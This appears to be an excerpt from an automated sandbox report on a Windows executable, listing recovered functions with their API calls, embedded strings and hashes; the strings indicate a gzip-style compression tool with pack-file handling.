Opcode Fuzzy Hash: 9bacac1aa02a6501fae6f23081cdde6fe2aa78fd54b0307e4d3bfa66c2d10a81
Instruction Fuzzy Hash: 2741E571244300ABD714DB60EC41FEB73A4EB44709F08493AF944E62C1E7B9E959CBAB

Function 0040E790 Relevance: 21.3, APIs: 3, Strings: 9, Instructions: 317COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 0040E8E6

Part of subcall function 0040F070: fprintf.MSVCRT ref: 0040F090

Part of subcall function 0040ED10: _errno.MSVCRT ref: 0040ED1B
Part of subcall function 0040ED10: _read.MSVCRT ref: 0040ED47
Part of subcall function 0040ED10: _read.MSVCRT ref: 0040ED81

fprintf.MSVCRT ref: 0040EB6F
fprintf.MSVCRT ref: 0040EBBA

Strings

len %ld, siz %ld, xrefs: 0040E8E0
invalid compressed data--length error, xrefs: 0040EAEA
out of memory, xrefs: 0040E840
%s: %s has more than one entry -- unchanged, xrefs: 0040EBB4
%s: %s has more than one entry--rest ignored, xrefs: 0040EB69
internal error, invalid method, xrefs: 0040E955
invalid compressed data--crc error, xrefs: 0040EAD5
invalid compressed data--format violated, xrefs: 0040E852
invalid compressed data--length mismatch, xrefs: 0040E8EC

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: fprintf$_read$_errno
String ID: %s: %s has more than one entry -- unchanged$%s: %s has more than one entry--rest ignored$internal error, invalid method$invalid compressed data--crc error$invalid compressed data--format violated$invalid compressed data--length error$invalid compressed data--length mismatch$len %ld, siz %ld$out of memory
API String ID: 2012623344-3220522523
Opcode ID: 46af8c2c4373098f2a9bc839d858992bbc34b0fdb0185fa1fe0c0c9ddf4604c2
Instruction ID: 60c62ac95dc047ac150cbd7fd388a3c216baec0873c987c0950f82a66b40e376
Opcode Fuzzy Hash: 46af8c2c4373098f2a9bc839d858992bbc34b0fdb0185fa1fe0c0c9ddf4604c2
Instruction Fuzzy Hash: C0B156B3E042424BE714DF29EC8166A77E1EB81305F09893FD456E3392D6789819CBAD

Function 0040DCA0 Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 402COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 0040DD22
fprintf.MSVCRT ref: 0040DD82
_read.MSVCRT ref: 0040DE54

Part of subcall function 0040EE70: _write.MSVCRT ref: 0040EE83
Part of subcall function 0040EE70: _write.MSVCRT ref: 0040EEA3

Strings

corrupt input., xrefs: 0040DF18, 0040DF9C, 0040DFA8
corrupt input. Use zcat to recover some data., xrefs: 0040DFA3
%s: %s: compressed with %d bits, can only handle %d bits, xrefs: 0040DD7C
%s: %s: warning, unknown flags 0x%x, xrefs: 0040DD1C

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: _writefprintf$_read
String ID: %s: %s: compressed with %d bits, can only handle %d bits$%s: %s: warning, unknown flags 0x%x$corrupt input.$corrupt input. Use zcat to recover some data.
API String ID: 4113033460-489315195
Opcode ID: 2c270c05960ad287de41c3cdda716c17bbe9cd230a70337c50c0add8dffc0378
Instruction ID: 3b57f833bc613edc37e60aaf0f7d13840ec562a0a89938886b7465e2446b7979
Opcode Fuzzy Hash: 2c270c05960ad287de41c3cdda716c17bbe9cd230a70337c50c0add8dffc0378
Instruction Fuzzy Hash: BBE190B1A083458FD314CF69E88076A7BE1EB98304F04493EF986D7392D379D919CB99

Function 0040D8B0 Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

Bad table, xrefs: 0040D914

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID:
String ID: Bad table
API String ID: 0-3047020491
Opcode ID: 95fc75dc60bc767d077f3f66d9364e0127cd733c9df23657a3df3dcb0e268cce
Instruction ID: d48034462d8855386d5c35e8060866e6f79aac56075eea6e3544f990265ef6ef
Opcode Fuzzy Hash: 95fc75dc60bc767d077f3f66d9364e0127cd733c9df23657a3df3dcb0e268cce
Instruction Fuzzy Hash: 8651F731A087118BD718AF68C45026FB3E2EFD8700F25493DD995A77A0E676D849CB8A

Function 00405AF0 Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: _read$_errno
String ID:
API String ID: 2630594027-0
Opcode ID: 4c9ad85b3923edc0dbc8e8398af3cb2e2ea08ed3002972ea0bd427a6df888256
Instruction ID: 887640ac395f1a5db8850504ce1c43d8fcace77e014b7401d231caf187241dbf
Opcode Fuzzy Hash: 4c9ad85b3923edc0dbc8e8398af3cb2e2ea08ed3002972ea0bd427a6df888256
Instruction Fuzzy Hash: 58B1E1716087424BD708EF28E89422FB7E1FB84700F144E7ED496E7392E774A9558BC9

Function 0040F203 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c830666ce3dbc7f646bc1f83c3c6b4dd443af3cad4ee82aeea01b6ba1d353a9
Instruction ID: 515a171eabb2e377bae0157e7ea1b0293aed4d94f90945b710cf89dd4bd5b173
Opcode Fuzzy Hash: 8c830666ce3dbc7f646bc1f83c3c6b4dd443af3cad4ee82aeea01b6ba1d353a9
Instruction Fuzzy Hash: B681A77451D2818EE314DB39F98162E3BD19B69345B040CBED542ABBA3C7348A19C7AE

Function 0040D2A0 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5307d1bd2f576f8720775d330983b66a8220b41fd9e36badaed59fce44080fdb
Instruction ID: d28bc8b52e312b286ffa472db19ca552de15cd7a648893b82bd3dfdf947a4cac
Opcode Fuzzy Hash: 5307d1bd2f576f8720775d330983b66a8220b41fd9e36badaed59fce44080fdb
Instruction Fuzzy Hash: CF312A65A082429BC714DF79AC506AB77D9AF89304F08843DFC89D7341E634D80EC7AA

Function 00407290 Relevance: 52.7, APIs: 24, Strings: 6, Instructions: 183
filewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(0042374C,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004072B8
MessageBoxA.USER32(00000000,Can't open pack file.,0041BA48,00000000), ref: 004072CD
SetFileAttributesA.KERNEL32(0042BD64,00000080), ref: 004072E7
CreateFileA.KERNEL32(0042BD64,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00407301
MessageBoxA.USER32(00000000,Can't create temporary file.,0041BA48,00000000), ref: 0040731A
CloseHandle.KERNEL32(00000000), ref: 00407321

Strings

Can't write to the temporary file., xrefs: 00407482
Can't create temporary file., xrefs: 00407314
Seek error on pack file., xrefs: 00407468
Can't create the buffer., xrefs: 00407454
Can't open pack file., xrefs: 004072C7
Can't read from the pack file., xrefs: 00407474

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: File$CreateMessage$AttributesCloseHandle
String ID: Can't create temporary file.$Can't create the buffer.$Can't open pack file.$Can't read from the pack file.$Can't write to the temporary file.$Seek error on pack file.
API String ID: 1554990673-618158162
Opcode ID: 2c2549749d5ed15ff31d72a332b69c00f4376567fac94e010c4ee392cd26b15c
Instruction ID: 088cd2c8b316aafd37c47dcd1b3932d69884186d12cb0bb1d7e292a7bbf51f2a
Opcode Fuzzy Hash: 2c2549749d5ed15ff31d72a332b69c00f4376567fac94e010c4ee392cd26b15c
Instruction Fuzzy Hash: 9951B631B84310BBD220AF65BC49F9B7F64EBC4B11F54442AF645A21D1C7BCA48587AE

Function 004075E0 Relevance: 49.4, APIs: 24, Strings: 4, Instructions: 364
windowfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 0040763F
SetFileAttributesA.KERNEL32(0042374C,00000080), ref: 00407687
CreateFileA.KERNEL32(0042374C,40000000,00000000,00000000,00000003,00000080,00000000), ref: 004076A1
MessageBoxA.USER32(00000000,Can't load the previous pack file.,0041BA48,00000000), ref: 004076BC
_ftol.MSVCRT ref: 0040770E
SendMessageA.USER32(00000000,00000402,00000000,00000000), ref: 0040771F
CloseHandle.KERNEL32(00000000), ref: 00407973
qsort.MSVCRT ref: 0040798A
free.MSVCRT ref: 00407A45

Strings

Can't load the previous pack file., xrefs: 004076B5
Seek error on pack file., xrefs: 00407915, 0040793E
Optimizing text files. Please wait., xrefs: 004079B3
Error writing pack file., xrefs: 0040796B

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: FileMessage$AttributesCloseCreateHandleSend_ftolfreemallocqsort
String ID: Can't load the previous pack file.$Error writing pack file.$Optimizing text files. Please wait.$Seek error on pack file.
API String ID: 805181380-136849683
Opcode ID: 0bf95afa618e33443f51a1b03c5f87176b80dbd7bfd56cb2b879352834a9e38d
Instruction ID: c08a7ff05d14fec1e8503a5d2842de521340d74c7310671da368bf9f39cc22bb
Opcode Fuzzy Hash: 0bf95afa618e33443f51a1b03c5f87176b80dbd7bfd56cb2b879352834a9e38d
Instruction Fuzzy Hash: 7FC1C071A08300ABD310DF24DC45F6B7BE4ABC8704F14492EF94AA73D0D678E944CB5A

Function 00403810 Relevance: 44.1, APIs: 16, Strings: 9, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 004038AF
fprintf.MSVCRT ref: 0040394E
_open.MSVCRT ref: 004039F5
fprintf.MSVCRT ref: 00403A1D
perror.MSVCRT ref: 00403A28
_close.MSVCRT ref: 00403A72
_close.MSVCRT ref: 00403AA1
_fileno.MSVCRT ref: 00403AC7
fprintf.MSVCRT ref: 00403B99
_close.MSVCRT ref: 00403C26
_close.MSVCRT ref: 00403C3A
_unlink.MSVCRT(0044F8A0), ref: 00403C62

Part of subcall function 00404BB0: printf.MSVCRT ref: 00404BE6
Part of subcall function 00404BB0: printf.MSVCRT ref: 00404BFD
Part of subcall function 00404BB0: _lseek.MSVCRT ref: 00404C3D
Part of subcall function 00404BB0: _read.MSVCRT ref: 00404C62
Part of subcall function 00404BB0: ctime.MSVCRT(0044F880,75433440,?,754338A0,004036FF,?,00000008), ref: 00404CEA
Part of subcall function 00404BB0: printf.MSVCRT ref: 00404D1F

Strings

%s: %s compressed to %s, xrefs: 00403B1E
%s: , xrefs: 00403A17
%s:%s, xrefs: 00403B93
OK, xrefs: 00403C8A
-- replaced with %s, xrefs: 00403D02
%s: %s has %d other link%c -- unchanged, xrefs: 00403948
stdout, xrefs: 0040399E
%s: %s is not a directory or a regular file - ignored, xrefs: 004038F1
%s: %s is a directory -- ignored, xrefs: 004038A9

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: _closefprintf$printf$_fileno_lseek_open_read_unlinkctimeperror
String ID: -- replaced with %s$ OK$%s:%s$%s: $%s: %s compressed to %s$%s: %s has %d other link%c -- unchanged$%s: %s is a directory -- ignored$%s: %s is not a directory or a regular file - ignored$stdout
API String ID: 1541217084-3248522284
Opcode ID: b5958a7073e537e6be3eee5a2b732590f34853b571a0c1dc919246365374f012
Instruction ID: 2a23522d500c7a5ea6000970241284742af6b4d2fa8c168bbd1fe75f910773dc
Opcode Fuzzy Hash: b5958a7073e537e6be3eee5a2b732590f34853b571a0c1dc919246365374f012
Instruction Fuzzy Hash: 09D113B1B00201ABD720AF64FC816763BA8E741317714853FE902E63E1D77EAA95CB1D

Function 00403500 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fileno.MSVCRT ref: 00403538
_isatty.MSVCRT ref: 0040353B
fprintf.MSVCRT ref: 0040357E
fprintf.MSVCRT ref: 00403595
_fileno.MSVCRT ref: 004035C5
_setmode.MSVCRT ref: 004035CB
_fileno.MSVCRT ref: 004035FE
_setmode.MSVCRT ref: 00403604
_fileno.MSVCRT ref: 0040366A
_fstat.MSVCRT(00000000), ref: 00403670
_fileno.MSVCRT ref: 0040370F
_fileno.MSVCRT ref: 0040371C
_fileno.MSVCRT ref: 0040377F
_fileno.MSVCRT ref: 0040378C
fprintf.MSVCRT ref: 004037C1

Part of subcall function 0040F130: fputc.MSVCRT ref: 0040F143
Part of subcall function 0040F130: fprintf.MSVCRT ref: 0040F16F

fprintf.MSVCRT ref: 00403802

Strings

written to, xrefs: 00403561
OK, xrefs: 004037B8
fstat(stdin), xrefs: 0040367D
For help, type: %s -h, xrefs: 0040358F
%s: compressed data not %s a terminal. Use -f to force %scompression., xrefs: 00403578
stdout, xrefs: 00403609
read from, xrefs: 00403555, 00403573
stdin, xrefs: 0040360E

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: _fileno$fprintf$_setmode$_fstat_isattyfputc
String ID: OK$%s: compressed data not %s a terminal. Use -f to force %scompression.$For help, type: %s -h$fstat(stdin)$read from$stdin$stdout$written to
API String ID: 1326738777-4290703084
Opcode ID: aeb3b81861f52e403574609cd3c244e0d3c74c38de85d180685d4af0a9158233
Instruction ID: 86b30110bb0a3b6f2c6db9276085434286e42ed4231fcf90175aa3a5b4ebeb31
Opcode Fuzzy Hash: aeb3b81861f52e403574609cd3c244e0d3c74c38de85d180685d4af0a9158233
Instruction Fuzzy Hash: 6571D5F5B00240ABDB20DF65FC859663769E744306304853EE901D73A0EB7EEA95CB6D

Function 00405100 Relevance: 42.2, APIs: 18, Strings: 6, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_errno.MSVCRT ref: 0040510B
_stat.MSVCRT(0044F8A0,?), ref: 00405123
_errno.MSVCRT ref: 0040512C
_stat.MSVCRT(0044F8A0,?,0044F8A0), ref: 0040514B
_stat.MSVCRT(0044F8A0,?,0044F8A0), ref: 00405187
fprintf.MSVCRT ref: 0040523A
fprintf.MSVCRT ref: 00405291
_fileno.MSVCRT ref: 004052A6
_isatty.MSVCRT ref: 004052AD
fprintf.MSVCRT ref: 004052C9
fflush.MSVCRT ref: 004052D4
fgets.MSVCRT ref: 004052E8
_isctype.MSVCRT ref: 00405303
fprintf.MSVCRT ref: 00405344
_chmod.MSVCRT ref: 00405371
_unlink.MSVCRT(0044F8A0), ref: 0040537C
fprintf.MSVCRT ref: 0040539E
perror.MSVCRT ref: 004053A5

Strings

%s: , xrefs: 00405398
%s: %s: cannot %scompress onto itself, xrefs: 00405213
not overwritten, xrefs: 0040533B
%s: %s and %s are the same file, xrefs: 00405234
%s: %s already exists;, xrefs: 00405286
do you wish to overwrite (y or n)? , xrefs: 004052C0

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: fprintf$_stat$_errno$_chmod_fileno_isatty_isctype_unlinkfflushfgetsperror
String ID: not overwritten$ do you wish to overwrite (y or n)? $%s: $%s: %s already exists;$%s: %s and %s are the same file$%s: %s: cannot %scompress onto itself
API String ID: 1232929357-1725047516
Opcode ID: 1ed07c99c068b10299e3d847c13043037691ae0a13ca23aa9e734b22a1568e68
Instruction ID: 6a7e35fd7f8b385ddd55cce18be339e63df7b5a6f0a9431496ccac823175c9ad
Opcode Fuzzy Hash: 1ed07c99c068b10299e3d847c13043037691ae0a13ca23aa9e734b22a1568e68
Instruction Fuzzy Hash: 8C61F470B003007BD3109B64EC92BA737A4EF45705B548436FC44EB390E6BEE9958B6D

Function 00402DF0 Relevance: 31.9, APIs: 8, Strings: 10, Instructions: 370stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040EEC0: strrchr.MSVCRT ref: 0040EECF
Part of subcall function 0040EEC0: strrchr.MSVCRT ref: 0040EEDE
Part of subcall function 0040EEC0: strrchr.MSVCRT ref: 0040EEED

strncmp.MSVCRT ref: 00402E97
strncmp.MSVCRT ref: 00402EB2
strncpy.MSVCRT ref: 00402F5D
atoi.MSVCRT(00000000), ref: 00402FDA
fprintf.MSVCRT ref: 004031E6
_fileno.MSVCRT ref: 00403254
_setmode.MSVCRT ref: 0040325E

Strings

ab:cdfhH?lLmMnNqrS:tvVZ123456789, xrefs: 00402F86, 0040316E
.gz, xrefs: 00402F53
%s: incorrect suffix '%s', xrefs: 004031E0
gzcat, xrefs: 00402EFE
.exe, xrefs: 00402E20
%s: -Z not supported in this version, xrefs: 00403124
cat, xrefs: 00402EC5
gun, xrefs: 00402EAC
%s: -r not supported on this system, xrefs: 004030A6
GZIP, xrefs: 00402E5E

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: strrchr$strncmp$_fileno_setmodeatoifprintfstrncpy
String ID: %s: -Z not supported in this version$%s: -r not supported on this system$%s: incorrect suffix '%s'$.exe$.gz$GZIP$ab:cdfhH?lLmMnNqrS:tvVZ123456789$cat$gun$gzcat
API String ID: 1511210060-2410909284
Opcode ID: 3bc455e48d4a5361739b9e2423ef43b4b4f49de21d4885c07e4e53c99fb8b497
Instruction ID: d6edb331924bb78c21df49292a51c26180e3f742f3dc669454e9bcf32040e1cd
Opcode Fuzzy Hash: 3bc455e48d4a5361739b9e2423ef43b4b4f49de21d4885c07e4e53c99fb8b497
Instruction Fuzzy Hash: DCD127707002019BD314DF24EC457763BA6AB49306F14863FE816AB3E1EBBEDA46874D

Function 00407AC0 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 220filewindowCOMMON

Download Yara Rule

APIs

qsort.MSVCRT ref: 00407AE1
CreateFileA.KERNEL32(0042374C,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00407B01
MessageBoxA.USER32(00000000,Can't create pack file.,0041BA48,00000000), ref: 00407B1C
_ftol.MSVCRT ref: 00407B5D
SendMessageA.USER32(00000000,00000402,00000000,00000000), ref: 00407B6E
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00407B7B
WriteFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00407C41

Strings

Error opening source file., xrefs: 00407CC9
Seek error on pack file., xrefs: 00407CA1
Error writing pack file., xrefs: 00407CD7
Can't create pack file., xrefs: 00407B15

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: File$Message$CreatePointerSendWrite_ftolqsort
String ID: Can't create pack file.$Error opening source file.$Error writing pack file.$Seek error on pack file.
API String ID: 1500916305-1024041696
Opcode ID: dbb7e63f852ab9dd99e192b39ced9e4e053ee1132dbf60b5abd96272cbcf3cac
Instruction ID: b5ffe4538ae922592fb07cc0909b73d645e7ae2434572a5370746c21ad9d63f8
Opcode Fuzzy Hash: dbb7e63f852ab9dd99e192b39ced9e4e053ee1132dbf60b5abd96272cbcf3cac
Instruction Fuzzy Hash: 55611A31B483006BE3209B24AC46FDB7794EB84715F14453AFA05A72C1DBBDB94487AE

Function 00404BB0 Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 196COMMON

Download Yara Rule

APIs

printf.MSVCRT ref: 00404BE6
printf.MSVCRT ref: 00404BFD
_lseek.MSVCRT ref: 00404C3D
_read.MSVCRT ref: 00404C62
ctime.MSVCRT(0044F880,75433440,?,754338A0,004036FF,?,00000008), ref: 00404CEA
printf.MSVCRT ref: 00404D1F
printf.MSVCRT ref: 00404D76
printf.MSVCRT ref: 00404DA6
printf.MSVCRT ref: 00404DC9
printf.MSVCRT ref: 00404E2B

Strings

%5s %08lx %11s , xrefs: 00404D1A
compressed uncompr. ratio uncompressed_name, xrefs: 00404BF8
%9lu %9lu , xrefs: 00404D5E
%9ld %9ld , xrefs: 00404D71, 00404DC4
(totals), xrefs: 00404DA1
%s, xrefs: 00404E26
method crc date time , xrefs: 00404BE1

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: printf$_lseek_readctime
String ID: %9lu %9lu $ %s$ (totals)$%5s %08lx %11s $%9ld %9ld $compressed uncompr. ratio uncompressed_name$method crc date time
API String ID: 1556447124-282228352
Opcode ID: de2b219f98632ea8b75618b42fd825b92a5bffff2d43f3c8c7a1cf5409859650
Instruction ID: caed29f957b9a2a5ae34b4503dae89f7bd37bbdccc10164b9880fa2a1488fc45
Opcode Fuzzy Hash: de2b219f98632ea8b75618b42fd825b92a5bffff2d43f3c8c7a1cf5409859650
Instruction Fuzzy Hash: E061DFB1B002019FE324CF68EC81A7A77A5EBC4305B44823EE915D73E0E779A915CB6D

Function 00403D40 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

_open.MSVCRT ref: 00403D92
_fstat.MSVCRT(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00403ADC), ref: 00403DAB
_close.MSVCRT ref: 00403DE9
_unlink.MSVCRT(0044F8A0), ref: 00403DF0
_close.MSVCRT ref: 00403E17
perror.MSVCRT ref: 00403E2B
_close.MSVCRT ref: 00403E38
fprintf.MSVCRT ref: 00403E62
perror.MSVCRT ref: 00403E6D
_close.MSVCRT ref: 00403E7A
_close.MSVCRT ref: 00403E82
_unlink.MSVCRT(0044F8A0,?,?,?,?,?,?,?,?,?,?,?,?,?,00403ADC), ref: 00403E89

Strings

%s: , xrefs: 00403E5C
%s: %s: warning, name truncated, xrefs: 00403EC0

Memory Dump Source

Source File: 00000004.00000002.1540701146.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1540139159.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1540701146.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541422447.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1541463545.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_UNK_.jbxd

Similarity

API ID: _close$_unlinkperror$_fstat_openfprintf
